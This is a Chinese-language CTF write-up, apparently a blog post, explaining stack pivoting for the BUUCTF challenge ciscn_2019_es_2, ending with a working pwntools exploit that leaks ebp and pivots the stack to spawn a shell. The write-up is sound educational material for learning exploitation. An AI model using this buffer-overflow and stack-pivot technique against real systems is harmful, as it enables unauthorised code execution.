pwn——栈迁移

这道题是栈迁移,题目在buuctf上 ciscn_2019_es_2 

一、先checksec一下

嗯哼哼,貌似影响不大

二、丢在ida里瞅

1、main()

没啥用再看看其它的

2、vul()

第一个read读进去的东西,可以被printf呸!吐出来!

芜湖!看到了第二个read可以栈溢出,但是可以溢出的空间太少!

————————那么就要来到了,刚学习的栈迁移——————————

3、hack()

芜湖看到system函数了,那我们就可以获得system的返回地址从而调用system

三、构造payload

首先我们先想一想

1、printf的作用?

肯定是让我们泄露什么!

我们刚刚说到,要用栈迁移,那么我们我就需要泄露ebp的地址。

所以我们想到用b'a'*(0x27) + b'b'填满栈

然后用printf就会顺带将ebp打印出来

什么printf能打印?

A:"%s"是打印字符串,那么字符串结束的标志是什么???

Q:是/x00!/x00有时候又可以用来截断字符串,并且/x00占据一个字节(这是即使你不打,程序也会自动帮你添上的。)

那么如果我将栈填满

0x00就没地方了,它就会顺着打印,而接下来就是esp的地址了

我们只需要令

orginal_addr = u32(p.recv(4))

就可以获得了

2、继续想

栈迁移核心思想就是利用leave和ret转移ebp和esp。leave和ret常用于复原栈

leave=mov esp,ebp

pop ebp

ret=pop eip

我们看ebp寄存器里面存的其实就是栈上ebp的地址 ,为上层函数main的old ebp,它与缓冲区变量相差0x38

然后我理解的栈迁移是这样的

esp的作用还原栈的最初的模样

“原来我们还是caller的模样”

然后我们通过将ebp的位置改变到现在esp的位置,也就是我们输入的缓冲区的起始位置。

3、GDB调试过程

3.1断点位置

ida中的画面我们可以通过上方彩色进度条拖动,我们刚反编译的时候上方的小箭头可以提供大致位置,找的时候很方便

2ff9bf9b9c883a925602e22f0cb4a6f6.png

然后b *0x080485e0 再然后r,输入时输入aaaa作为标记

3.2查看栈中内容

如下图所示,ebp所在位置中存放的就是上一个ebp的内容,具体研究师傅们自己看看喽

4、理解payload构造过程

a、大小。首先刚开始的第一遍我们在执行read函数,它只允许我们达到0x30的大小,所以payload3

的长度应该控制在0x30之内。(?padding的大小可以商榷吗)

b、我们第一次在执行read函数,在buf的缓冲区有长达0x28的位置,我们做不了什么,不可执行,但是我们通过修改ebp到(old_ebp-0x38),将我们写入的东西通通算进栈中执行。

c、这里我认为有两个定位的东西。

首先是我们放在payload开头的b'aaaa',用于计算和控制ebp返回的位置到这里。(这里不理解的师傅想想leave和ret的作用,核心就是做了坏事还是保持原来的样子,原来怎么样现在怎么样)

其次是old_ebp,因为它的大小可以通过printf泄露,作为一个固定的已知地址,计算其他需要的信息(new_ebp和bin_sh_addr)的偏移量。

d、理解一下leave|ret

e、关于bin_sh的地址师傅们可以看一下wp(通过入栈顺序找到binsh在栈中的地址),前面有4个0x4大小的东西

5、最后附带我的wp

1 from pwn import *

2 p = remote ('node4.buuoj.cn',26738)

3 #context.log_level = 'debug'

4 #p = process('./123')

5

6 system_addr = 0x08048400

7 leave_ret = 0x080484b8

8

9 payload = b'a'*(0x27)+b'b'

10 p.send(payload)

11 p.recvuntil('b')

12 old_ebp = u32(p.recv(4))

13 print(hex(old_ebp))

14

15 payload = b'aaaa'

16 payload+= p32(system_addr) + b'bbbb' + p32(old_ebp-0x28)

17 payload+= b'/bin/sh\x00'

18 payload = payload.ljust(0x28,b'b')

19 payload+= p32(old_ebp-0x38)

20 payload+= p32(leave_ret)

21

22 p.sendline(payload)

23 p.interactive()

参考博客

栈迁移原理介绍与应用 - Max1z - 博客园

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值